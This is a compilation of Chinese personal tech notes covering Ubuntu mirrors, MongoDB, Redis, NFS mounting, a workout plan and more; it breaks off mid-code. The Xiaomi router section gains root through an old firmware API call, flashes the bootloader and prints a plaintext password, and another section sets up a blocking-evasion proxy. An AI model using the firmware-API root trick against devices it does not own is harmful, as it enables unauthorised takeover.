  • 14.04 trusty

一些国内的源:

# 中科大源
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
# 阿里源
deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
# 163源
deb http://mirrors.163.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ bionic-security main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ bionic-updates main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ bionic-backports main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ bionic main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ bionic-security main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ bionic-updates main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ bionic-backports main restricted universe multiverse
# 清华源
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse

通过虚拟机安装至U盘

理论上可以通过虚拟机给U盘安装任何系统。安装很方便,缺点是U盘速度不给力,系统运行体验肯定不如安装在硬盘。不过可以试试在虚拟机挂一个空硬盘安装试试。

  • 准备好USB3.0最好是16G或以上的空U盘
  • 下载任意版本的Ubuntu
  • 下载并安装最新版本的虚拟机VirtualBox
  • 打开并设置虚拟机管理->全局设定
    • 扩展里,添加虚拟机插件Oracle VM VirtualBox Extension Pack
    • 显示里,最大屏幕尺寸选择提示,宽高选择电脑屏幕实际的宽高(太小安装系统的时候有的菜单都看不到)
  • 新建虚拟机
    • 名称输入ubuntu,版本会自动选择Ubuntu (64-bit)
    • 内存选择2048M
    • 不添加虚拟硬盘
  • 设置已新建好的虚拟机
    • 右键虚拟机点设置
    • 设置->存储->控制器: IDE,右键添加虚拟光驱,选择ubuntu的iso文件
  • 安装ubuntu
    • 运行虚拟机,出现菜单见面时,拖动右侧的滑块到最下面选择中文,点击右侧的安装Ubuntu
    • 到安装类型的时候,要选择自己分区
      • 先删除u盘所有的分区,然后新建分区(挂载点)
      • /boot,格式ext4,500m
      • /,格式ext4,5000m
      • /home,格式ext4, 5000m
      • /dos,格式fat32,剩余空间(这个可以做普通的u盘空间使用)
      • 这里没有设置交换分区,因为是u盘,速度慢
  • 安装完成后要注意的
    • 安装完成后会提示重启,这时候拔掉U盘就行了。然后就可以在任何一台电脑上使用ubuntu系统了
    • 重启电脑后,狂按F7~F12,进入启动菜单选择U盘,或者按F2或ESC或del键进入BIOS进行固定的设置
    • 如果在boot manager里面找不到自己的U盘选项,可能是因为一下原因:
      • bios设置里面没有打开usb boot选项,找到相应的选项将usb boot设置为 enable。
      • bios引导设置里只支持uefi,可以打开legacy启动模式,然后重启电脑再进boot manager应该就能看到U盘了。

安装软件出错

首先查看源的版本,如果源的版本没问题的话,看看是安装哪些软件时出的错误,尝试下面包括但不限于的代码:

cd /var/lib/dpkg
sudo mv info info.bak
sudo mkdir info 
sudo apt-get clean
sudo apt-get install -f

参考

使用wubi安装双系统(Ubuntu) - CSDN博客

Ubuntu 18.04换国内源 中科大源 阿里源 163源 清华源 - CSDN博客

将Linux(ubuntu)安装到U盘上,实现即插即用 - CSDN博客

[源列表 - Ubuntu中文](http://wiki.ubuntu.org.cn/源列

GoFlyway 进阶教程:免费域名+免费CDN+HTTP伪装=被墙的IP继续做代理

一、域名

注册 https://www.freenom.com 并获取一个免费域名

二、CDN

注册 https://www.cloudflare.com 并添加域名

  1. 设置域名的Namespace为cloudflare的DNS
  2. A记录指向域名(Proxied)
  3. SSL/TLS选择off

三、服务器

下载 goflyway 服务端客户端一体 但是平台有区别

runServer.sh: 运行服务端脚本

nohup \
./goflyway \
-k='?c域名:80' \
-l=':80' \
-proxy-pass='http://kernel.ubuntu.com/~kernel-ppa/mainline/' \
-lv='dbg' \
> ./server.log 2>&1 &

kill.sh: 杀死goflyway服务端客户端通用

kill $(ps -ef|grep goflyway|grep -v grep|awk '{print $2}')

四、客户端

下载goflyway的PC版和安卓版
runClient.sh: 运行服务端脚本

./goflyway \
-up='cf://域名:80' \
-k='?c域名:80' \
-lv=dbg \
> ./client.log 2>&1 &

密码设置成这种样子是为了让安卓也支持cf模式: Cloudflare 相关

参考

GoFlyway 进阶教程:免费域名+免费CDN+HTTP伪装=被墙的IP继续做代理

Node.js学习笔记

Node.js学习笔记

Node.js版本号(SemVer)

比如: 10.15.3,版本号分为三段

  1. 主版本号(API 会变动)
  2. 次版本号
  3. 补丁版本号

Node.js三大特性

  1. 事件驱动
  2. 异步API(事件轮询)
  3. 非阻塞I/O

querystering

  • parse
  • stringify
require('url').parse('a=1&a=2&a=3', true) // a: [1, 2, 3]

js异步化同步函数最佳实践

使用bluebird异步化同步函数,promisifyAll为异步化对象里面的所有函数,promisify为异步化单个函数,调用他们会返回同名+Async后缀的异步函数

require('xxx') // { f: [Function] }
promisifyAll(require('xxx')) // { f: [Function], fAsync: [Function] }

建议使用顶层的异步函数包起来,然后不带await的运行(会返回的Promise对象无需处理,带了await反而报错),然后在调用顶层函数的时候try...catch统一处理错误:

const { promisifyAll } = require('bluebird')
const { readFileAsync } = promisifyAll(require('fs'))

async function start () {
	cosnt data = await readFileAsync('./a2.txt')
        // ...
}

try {
	start()
} catch (e) {
	console.err(e)
}

MongoDB优化

名词对照

  • collection集合 --- table表
  • document文档 --- row行
    一个document就是一个json, 一个collection由多个json组成

阿里云找到MongoDB远程连接地址

登陆阿里云, 从控制台选择云数据库MongoDB, 点击实例id进行管理
连接信息 (Connection String URI)下面找到网络类型->公网->mongodb://root:****@dds-bpxxxxxx, 复制下来把星号替换为root密码

连接MongoDB

连接方式1也就是公网那个地址复制过来的是Primary和Secondary域名都写在一起的方式, 连接方式2也可以直接连Primary就行
Primary显示的是专有网络的域名 其实要连接对应的公网的域名 也就是连接方式1的第一个域名

mongo mongodb://root:****@dds-bpxxxxxxxxxxxx-pub.mongodb.rds.aliyuncs.com:3717,dds-bpyyyyyyyyyyyyyyy-pub.mongodb.rds.aliyuncs.com:3717/admin?replicaSet=mgset-1203073 # 连接方式1 第一个域名就是Primary的公网版本
mongo \
--port 3717 \
-u 'root' \
-p 'xxxxx' \
--authenticationDatabase 'admin' \
dds-bpxxxxxxx-pub.mongodb.rds.aliyuncs.com # 连接方式2

db # 当前数据库
show dbs # 列出所有数据库

use <db_name>
show collections # 显示当前数据库所有的collection()

db.getCollection('xxx').find().pretty() # 显示xxx表里所有的document 方式1
db.xxx.find().pretty() # 显示xxx表里所有的document 方式2

db.system.profile.find().pretty().count() # 统计当前数据库的满查询数量
db.system.profile.find({}, { ns: 1, millis: 1 }).limit(10).sort({ millis: -1 }).pretty() # 10个最慢查询
db.system.profile.find({}, { ns: 1, millis: 1 }).limit(10).sort({ ts: -1 }).pretty() # 最新的10个慢查询

db.stats() # 当前数据库状态

system.profile.command解释

{
    command: {
        find: 'items',
        filter: {
            sku: '123456'
        },
        ...,
        $db: 'test'
    }
}
// 等价于
use test
db.items.find({ sku: '123456' })

MongoDB慢查询优化

主要是开启Database Profiler记录慢查询, 然后根据db.system.profile.find()来优化代码, 建立索引
MongoDB 查询优化分析
监控mongo 状态慢查询
论MongoDB索引选择的重要性 这里是建议选择createdAt作为索引而不是_id, 因为这样会更快

MongoDB的find、getMore特性

  • find命令,会返回第一批满足条件的batch(默认101条记录)以及一个cursor
  • getMore 根据find返回的cursor继续遍历,每次遍历默认返回不超过4MB的数据

MongoDB安全相关

MongoDB 用户名密码登录

MongoDB自带工具

  • mongodump BSON备份
  • mongorestore BSON恢复
  • mongoexport 可读备份(json, csv, tsv)
  • mongoimport 可读恢复
  • mongosniff 查看已执行的command
  • mongostat 类iostat
  • mongotop 类top
  • mongoperf 磁盘相关
  • mongooplog 操作日志
  • Bsondump bson->json

数据库高级优化: 数据库拆分、读写分离

数据库拆分

  1. 水平拆分
    化为更小单位, 如通过角色拆分用户
  2. 垂直拆分
    直接拆分, 表之间通过主键关联

读写分离

  • 读操作(查询)
  • 写操作(插入、更新)

读写指向不同节点, 节点之间数据同步(binlog)
因为读压力更大, 所以都是一主多从架构

更新document的代价

bson是字节数组, 前4字节是表示document的大小, 4字节最大能表示4GB, 也就是说, 单个document最大不超过4GB

  1. 改变单个值, bson大小不变, 最快, 如$inc
  2. 改变大小, 结构, 如$push
  3. 重写document, 迁移数据, 最慢

通过explain查看查询计划

查询计划: 就是如何执行查询
explain有3种模式:

  1. queryPlanner (默认)
    有4个字段queryPlanner, ok, operationTime, $clusterTime
  2. executionStats
    比前者更加详细的信息(加了executionStats字段: executionSuccess, nReturned, executionTimeMillis, totalKeysExamined, totalDocsExamined, executionStages), 下一节创建索引的时候有使用示例
  3. allPlansExecution

使用createIndex创建索引

以数据库jjqshopdbusers表为例

use jjqshopdb
db.users.count()
11

查看当前表的索引
可以看到, 默认就对_id进行了索引, 名为_id_

db.users.getIndexes()
[
	{
		"v" : 2,
		"key" : {
			"_id" : 1
		},
		"name" : "_id_",
		"ns" : "jjqshopdb.users"
	}
]

创建索引: createIndex, 当然ensureIndex也可以, 为了兼容老版本MongoDB 3.0以前
注意createIndex({ a: 1, b : 1 })注意不是创建了两个索引a_1b_1而是创建了一个联合索引a_1_b_1!!!

db.users.createIndex({ telephone: 1 }) // 给用户表建立电话的索引
db.users.getIndexes() // 验证
[
	{
		"v" : 2,
		"key" : {
			"_id" : 1
		},
		"name" : "_id_",
		"ns" : "jjqshopdb.users"
	},
	{
		"v" : 2,
		"key" : {
			"telephone" : 1
		},
		"name" : "telephone_1",
		"ns" : "jjqshopdb.users",
		"background" : true
	}
]

使用索引进行查询

db.users.find({ telephone: '176xxxx5209' }).explain('executionStats')
{
	"queryPlanner" : {
		"plannerVersion" : 1,
		"namespace" : "jjqshopdb.users",
		"indexFilterSet" : false,
		"parsedQuery" : {
			"telephone" : {
				"$eq" : "176xxxx5209"
			}
		},
		"winningPlan" : {
			"stage" : "FETCH",
			"inputStage" : {
				"stage" : "IXSCAN",
				"keyPattern" : {
					"telephone" : 1
				},
				"indexName" : "telephone_1", // 使用telephone_1索引!!!
				"isMultiKey" : false,
				"multiKeyPaths" : {
					"telephone" : [ ]
				},
				"isUnique" : false,
				"isSparse" : false,
				"isPartial" : false,
				"indexVersion" : 2,
				"direction" : "forward",
				"indexBounds" : {
					"telephone" : [
						"[\"176xxxx5209\", \"176xxxx5209\"]"
					]
				}
			}
		},
		"rejectedPlans" : [ ]
	},
	"executionStats" : {
		"executionSuccess" : true,
		"nReturned" : 1, // 返回1个文档
		"executionTimeMillis" : 0, // 非常快 几乎是 0ms
		"totalKeysExamined" : 1,  // 使用了1个索引
		"totalDocsExamined" : 1, // 只扫描1个文档 没用之前可能得扫描所有文档 如11
		"executionStages" : {
			"stage" : "FETCH",
			"nReturned" : 1,
			"executionTimeMillisEstimate" : 0,
			"works" : 2,
			"advanced" : 1,
			"needTime" : 0,
			"needYield" : 0,
			"saveState" : 0,
			"restoreState" : 0,
			"isEOF" : 1,
			"invalidates" : 0,
			"docsExamined" : 1,
			"alreadyHasObj" : 0,
			"inputStage" : {
				"stage" : "IXSCAN",
				"nReturned" : 1,
				"executionTimeMillisEstimate" : 0,
				"works" : 2,
				"advanced" : 1,
				"needTime" : 0,
				"needYield" : 0,
				"saveState" : 0,
				"restoreState" : 0,
				"isEOF" : 1,
				"invalidates" : 0,
				"keyPattern" : {
					"telephone" : 1
				},
				"indexName" : "telephone_1",
				"isMultiKey" : false,
				"multiKeyPaths" : {
					"telephone" : [ ]
				},
				"isUnique" : false,
				"isSparse" : false,
				"isPartial" : false,
				"indexVersion" : 2,
				"direction" : "forward",
				"indexBounds" : {
					"telephone" : [
						"[\"176xxxx5209\", \"176xxxx5209\"]"
					]
				},
				"keysExamined" : 1,
				"seeks" : 1,
				"dupsTested" : 0,
				"dupsDropped" : 0,
				"seenInvalidated" : 0
			}
		}
	},
	"ok" : 1,
	"operationTime" : Timestamp(1566976793, 1),
	"$clusterTime" : {
		"clusterTime" : Timestamp(1566976793, 1),
		"signature" : {
			"hash" : BinData(0,"Q9qoVAZebjbDaoqzMCayySTSpnY="),
			"keyId" : NumberLong("6683112302490681460")
		}
	}
}

删除索引
注意dropIndex({ a: 1, b : 1 })注意不是删除了两个索引a_1b_1而是删除了一个联合索引a_1_b_1!!!
注意删除索引删不了_id_索引, 只能删除表

db.users.dropIndex('telephone_1') # 索引名
db.users.dropIndex({ telephone: -1 }) # 字段名

查看MongoDB的源代码

比如 查看find命令的源代码

db.orders.find
function (query, fields, limit, skip, batchSize, options) {
    var cursor = new DBQuery(this._mongo,
                             this._db,
                             this,
                             this._fullName,
                             this._massageObject(query),
                             fields,
                             limit,
                             skip,
                             batchSize,
                             options || this.getQueryOptions());

    {
        const session = this.getDB().getSession();

        const readPreference = session._serverSession.client.getReadPreference(session);
        if (readPreference !== null) {
            cursor.readPref(readPreference.mode, readPreference.tags);
        }

        const readConcern = session._serverSession.client.getReadConcern(session);
        if (readConcern !== null) {
            cursor.readConcern(readConcern.level);
        }
    }

    return cursor;
}

MongoDB的shell命令实现原理

查看db.stats()的源代码, 会发现等价命令db.runCommand({dbstats: 1})
也就是说可以用db.runCommand()调用任何命令
注意, 里面的this就相当于外面的db

db.stats
function (scale) {
        return this.runCommand({dbstats: 1, scale: scale});
    }
// 新版本的MongoDB已经不能直观看出db.runCommand的源代码了, 下面是老版本的
db.runCommand
function (obj, extra) {
	if (typeof obj == 'string') {
		const n = {}
		n[obj] = 1
		obj = n
		extra && typeof extra == 'object' && Object.keys(extra).forEach(key => {
			n[key] = extra[x]
		})
	}
	return this.$cmd.findOne(obj)
}
db.$cmd.findOne({ dbstats: 1 }) // 相当于db.stats()
db.$cmd.findOne('dbstat') // 同上

db.$cmd.findOne({ collstats: 'users' })

所以, 数据库shell命令其实就是在特殊集合$cmd上面的查询
也就是说, 可以在Driver里面通过runCommand运行MongoDB的命令啦

小米路由器青春版刷机

准备材料

  1. 小米路由器青春版
    注意跟小米路由器mini不一样, 青春版没有USB和5G,请谨慎识别
  2. 网线
  3. 电脑
  4. git-for-windows 用来运行一些Linux命令

刷官方开发版ROM

一定要是低版本的,如 miwifi_r1cl_all_59371_2.1.26.bin

改root密码(开发版默认开启ssh 但是不知道密码)

curl -d \
'oldPwd=a406687077&newPwd=a406687077' \
'http://192.168.31.1/cgi-bin/luci/;stok=584ca876fcfe0ed6134c43bf44e35ac3/api/xqsystem/set_name_password'

{"code":0} 成功
{"code":1523,"msg":"参数错误"} 新版的不行了 刷旧版

ssh [email protected]

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
SHA256:nNmtQbaBTGsnapck+TmFnEolusdC1H1fg/JY8hbMWZM.
Please contact your system administrator.
Add correct host key in /c/Users/Administrator/.ssh/known_hosts to get rid of this message.
Offending RSA key in /c/Users/Administrator/.ssh/known_hosts:6
RSA host key for 192.168.31.1 has changed and you have requested strict checking.
Host key verification failed.

原因:以前连过ssh,但是因为刷机导致指纹变化
vi ~/.ssh/known_hosts 删除一行

BusyBox v1.19.4 (2015-10-15 20:51:43 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

 -----------------------------------------------------
        Welcome to XiaoQiang!
 -----------------------------------------------------
root@XiaoQiang:~#



root@XiaoQiang:~# uname -a
Linux XiaoQiang 3.10.14 #1 Thu Oct 15 21:03:57 CST 2015 mips GNU/Linux

root@XiaoQiang:~# cat /proc/cpuinfo
system type             : MT7628
machine                 : Unknown
processor               : 0
cpu model               : MIPS 24KEc V5.5
BogoMIPS                : 385.84
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : yes
hardware watchpoint     : yes, count: 4, address/irw mask: [0x0ffc, 0x0ffc, 0x0ffb, 0x0ffb]
isa                     : mips1 mips2 mips32r1 mips32r2
ASEs implemented        : mips16 dsp
shadow register sets    : 1
kscratch registers      : 0
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available

CPU型号:MT7628, 刷机最重要的就是CPU型号了!

备份系统

root@XiaoQiang:~# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 01000000 00010000 "ALL"
mtd1: 00030000 00010000 "Bootloader"
mtd2: 00010000 00010000 "Config"
mtd3: 00010000 00010000 "Factory"
mtd4: 00ba0000 00010000 "OS1"
mtd5: 00a30000 00010000 "rootfs"
mtd6: 00240000 00010000 "OS2"
mtd7: 000c0000 00010000 "data"
mtd8: 00100000 00010000 "overlay"
mtd9: 00010000 00010000 "crash"
mtd10: 00ba0000 00010000 "firmware"

root@XiaoQiang:~# dd if=/dev/mtd0 of=/tmp/r1cl_system_backup.bin

# 疑问:为啥要保存到/tmp? 因为此分区的空间最大df -h

scp [email protected]:/tmp/r1cl_system_backup.bin .

刷breed

取代U-Boot的Bootloader,号称随便刷机不会死
breed、BreedEnter.exe下载地址:https://breed.hackpascal.net/
一定要下载md5sum.txt用md5sum命令去验证
cat md5sum.txt | grep md5值

先通过cpu刷入正确的breed

一般刷aa1e47aa885eeba06d0eb22cd65cefa6 breed-mt7688-reset38.bin(MT7628AN/KN 全通用,波特率 57600,复位键 GPIO#38)
breed详细信息(cpu型号 复位键 波特率等):https://www.right.com.cn/forum/thread-161906-1-1.html

查看路由器复位键的gpio

breed下测试运行btntst,按复位键可知
然后刷入复位键正确的breed(讲道理刷机后复位键用处不大了)

上传breed到路由器

scp ./breed-mt7688-reset38.bin [email protected]:/tmp/breed-mt7688-reset38.bin

刷入breed

mtd -r write /tmp/breed-mt7688-reset38.bin Bootloader
耐心等待,自动断开ssh说明刷入完成

进入 Breed 命令控制台(也是LAN口)

通过 BreedEnter.exe 方法中断 Breed,即可通过 telnet 方法进入 Breed 命令控制台

  1. 打开BreedEnter.exe, 点击启动
  2. 路由器通断电,提示已中断
  3. 把电脑固定IP改回来,自动获取IP,ipconfig查看以太网接口的Ip地址 192.168.1.x 就是对的
  4. 浏览器访问192.168.1.1进入Breed Web 恢复控制台
  5. CMD运行 telnet 192.168.1.1 (如果提示没有telnet请到 控制面板\程序\程序和功能 点击打开或关闭Windows功能 安装telnet客户端)
  6. 可能会观察到许多不相干的引脚电平变化,使用 btntst disable 引脚号 忽略指定引脚
    GPIO xxx status will be ignored. 忽略成功

btntst 监听

按复位键

GPIO#38 (<gpio1,6>) changed to 0
GPIO#38 (<gpio1,6>) changed to 1

可以看到复位键是38,不用重新安装breed~~

刷机

刷机之前先去Breed Web 恢复控制台 http://192.168.1.1/mac.html 备份mac

		RF1
			WLAN MAC F0 B4 29 54 2E C3
			MAC1 F0 B4 29 54 2E C2
			MAC2 00 0C 43 E1 76 2A
		RF2
			WLAN MAC FF FF FF FF FF FF
			MAC1 FF FF FF FF FF FF
			MAC2 FF FF FF FF FF FF
		RT6855/RT6856/MT7621 独立参数
			LAN MAC	FF FF FF FF FF FF
			WAN MAC	FF FF FF FF FF FF

开始刷机

  • 选择固件 MI-NANO_3.4.3.9-099.trx(系统是Padavan,华硕固件) 上传
    刷机成功后
  • 路由器新登录地址:192.168.123.1
  • 账号密码默认均为:admin
  • WIFI默认账户:PDCN
  • WIFI默认密码:1234567890
  • ssh同理 ssh [email protected]
    可以去http://192.168.123.1/Advanced_Services_Content.asp 设置公钥登录
  • root密码呢?虽然admin也是root权限

注意

1、CPU型号
2、MD5

参考

小米路由器青春版刷breed后再刷入华硕固件教程
小米路由器青春版刷入Breed教程
小米路由器青春版 开启ssh 刷入breed 潘多拉 华硕 固件
小米路由器MINI(R1CM)刷BREED及PANDAVAN教程
小米无线路由器以及小米无线相关的设备 - 恩山无线论坛 - Powered by Discuz!

挂载NFS文件系统

创建文件系统

文件存储 > 控制台用户指南 > 管理文件系统

添加挂载点

文件存储 > 控制台用户指南 > 管理挂载点
k8s下, 先确定内网ip, 在节点那里找到相应的实例id, 点进去进入实例详情, 往下翻到配置信息, 交换机专有网络就都能get到啦

安装NFS客户端

sudo yum install nfs-utils

修改NFS并发数

默认是2, 太慢, 最高可以改成128

sudo vi /etc/modprobe.d/sunrpc.conf
options sunrpc tcp_slot_table_entries=128
options sunrpc tcp_max_slot_table_entries=128

挂载文件系统

一、手动挂载
4选1

sudo mount -t nfs -o vers=4,minorversion=0,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport file-system-id.region.nas.aliyuncs.com:/ /mnt # 容量型/性能型NAS NFSv4
sudo mount -t nfs4 -o rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport file-system-id.region.nas.aliyuncs.com:/ /mnt # 容量型/性能型NAS NFSv4
sudo mount -t nfs -o vers=3,nolock,proto=tcp,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport file-system-id.region.nas.aliyuncs.com:/ /mnt # 容量型/性能型NAS NFSv3
sudo mount -t nfs -o vers=3,proto=tcp,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport file-system-id.region.extreme.nas.aliyuncs.com:/share /mnt # 极速型NAS

二、自动挂载
重启时自动挂载
有注释的选1个就行了

sudo vi /etc/fstab
file-system-id.region.nas.aliyuncs.com:/ /mnt nfs vers=4,minorversion=0,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,_netdev,noresvport 0 0 # NFSv4
file-system-id.region.nas.aliyuncs.com:/ /mnt nfs vers=3,nolock,proto=tcp,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,_netdev,noresvport 0 0 # NFSv3

sudo vi /etc/rc.local
sudo mount -t nfs -o vers=4,minorversion=0,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,_netdev,noresvport file-system-id.region.nas.aliyuncs.com:/ /mnt # NFSv4
sudo mount -t nfs -o vers=3,nolock,proto=tcp,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,_netdev,noresvport file-system-id.region.nas.aliyuncs.com:/ /mnt # NFSv3

reboot # 重启ECS

在配置/etc/rc.local文件前,请确保用户对/etc/rc.local和/etc/rc.d/rc.local文件有可执行权限。比如CentOS7.x系统,用户默认无可执行权限,需添加权限后才能配置/etc/rc.local文件。

查看挂载结果

mount -l | grep nas
df -h | grep nas

再次修改NFS并发数

sysctl -w sunrpc.tcp_slot_table_entries=128

卸载文件系统

umount /mnt

如果提示device is busy,则需要先杀掉正在使用此NAS的进程
CentOS、Redhat、Aliyun Linux操作系统自带fuser,无需安装

fuser -mv <挂载点本地路径> # 查看当前正在使用此NAS的进程pid(pid为kernel的进程不需要处理)
kill <pid>

执行mount -l | grep nas命令,查看卸载结果

重新挂载文件系统

上同

查看修改并发数结果

cat /proc/sys/sunrpc/tcp_slot_table_entries

阿里云Kubernetes里面挂载存储

无状态里面选择一个编辑, 往下翻到数据卷添加云存储
然后去容器组详情, 去存储查看是否添加成功
详情参考

参考

文件存储 > 控制台用户指南 > 挂载文件系统
文件存储 > 快速入门 > 容量型/性能型NAS > Linux系统

初级健身计划

基础的健身计划,一周健身六天,分为三个周期,刚好是隔48小时练大肌肉群,每天健身控制在两小时

热身与拉伸

非常重要!!!

饮食与营养

俗话说,七分吃,三分练,健身前半个小时吃两只香蕉,健身后喝蛋白粉

有氧运动的重要性

一周5次长跑、每次5~10~12km

周一周四(周期一)

三头肌(50m)

  1. 龙门架(15m)
  2. 下撑
  3. 窄距拳头俯卧撑

背(30m)

  1. 硬拉
    40kg * 1组、60kg * 4组

胸(40m)

  1. 夹胸(最先开始做)
    50kg * 2、40 * 2
  2. 杠铃卧推
  3. 上位史密斯卧推
  4. 上位龙门架

休息期间练腹

  1. 卷腹
    40个 * 1组、30个 * 3组
  2. 抬腿
    60个 * 4组

周二周五(周期二)

肩(40m)

  1. 哑铃慢下
    7.5kg * 3组、10kg * 1组
  2. 哑铃举
    7.5kg * 2组、10kg * 2组
  3. 龙门架直立划船
    50kg * 12次 * 4组
  4. 上位龙门架
    30kg * 12次 * 4组
  5. 杠铃后举
    5kg * 8次 * 4组

背(40m)

  1. 龙门架俯身划船
    50kg * 1、45kg * 1、40kg * 2
  2. 坐姿龙门架
    上满*4
  3. 拉绳划船
    上满*4

二头肌(40m)

  1. 坐姿杠铃
    5kg * 2 * 4组
  2. 站姿杠铃
    5kg * 2 * 4组
  3. 龙门架
    40kg * 4组
  4. 哑铃压榨
    7.5kg * 4组

周三周六(周期三)

  1. 深蹲

    • 热身(5m)组间休息2m
      20kg * 1组、40kg*1组
    • 做组(20m)组间休息3m
      50kg * 2组、60kg * 2组
  2. 腿蹬

    • 热身(5m)
      20kg * 3 * 2 = 120kg * 1组
    • 做组(20m)
      20kg * 4 * 2 = 160kg * 4组
  3. 下背
    20kg * 2个哑铃 * 4组

  4. 夹胸
    50kg * 2、40 * 2

时间表

  1. 18:30~20:30 健身、喝蛋白粉
  2. 21:00~22:00 12km跑
  3. 22:00~23:00 吃饭、洗澡、洗衣服
  4. 23:00~24:00 Java

计算机原理

CPU的组成

  • 程序计数器
    • 指向的是下一个指令的地址
    • 唯一区别程序、数据(指向的是程序会被尝试执行 )
  • 指令解码器
    指令分为实际指令内存单元(数据、寻址、地址)
  • 数据总线
  • 寄存器
    • 通用寄存器
    • 专用寄存器
  • 算数逻辑单元
    实际执行指令

寻址方式(数据访问方式)

数据、数字是同义词
指针:内存的地址

  • 立即寻址(指令本身包含数据<CPU直接生成>)

  • 寄存器寻址(指令指定寄存器,从寄存器读数据)

  • 直接寻址(指令包含指针)

  • 变址寻址

    • 变址寄存器(存偏移量、是变量)Offset
    • 指令包含指针 Pointer
    • 比例因子(指定一次访问多少个字节)Size

    p+o为实际地址,完整公式为p + o + i * s,其中i为下标,从0开始,代表的是第i+1个元素

  • 间接寻址(指令指定寄存器,寄存器存指针)

  • 基址寻址(用得多)
    间接寻址+偏移量(存在指令中是常量)

Redis经验

清空当前数据库所有key

flushdb

incr不会改变ttl 但是也不能设置ttl(redis初次incr优化)

如果incr一个不存在的key的话 value为1没问题 但是ttl为-1 不会过期
所以要进一步处理: incr后如果ttl为-1那么就expire
还有个更妙的:incr的结果为1那么它的ttl必为-1 因为是第一次生成的(不用运行ttl一次了)

// 为了保留ttl但是又要每次修改其值加一,还要处理key不存在的情况
const isNew = await redis.incr(key) == 1
if (isNew) await redis.expire(key, expire)

pipline不支持subscribe+select一起 因为pipeline不保证顺序

但是为啥pipline又支持select+set呢

const pipelineRes = await redis.pipeline([
    ['select', dbIndex],
    ['set', `${orderSnPrefix}:${order_sn}`, '', 'px', ms(unpaidExpire)],
    ['select', 0]
]).exec()
ctx.helper.printLog('order.create', { pipelineRes })

subscribe事件是怎么监听到的?

const sub2 = new Redis(client)
await sub2.on('subscribe', (channel, count) => {
    console.log('on subscribe', channel, count)
})

线上环境会收到多次信息,如何保证其唯一性?或者根本无需担心?只要接收到消息后的操作是有条件的

sub.on('message', async (channel, message) => {
    const unique = `unique:${message}`
    if (await redis.get(unique)) {
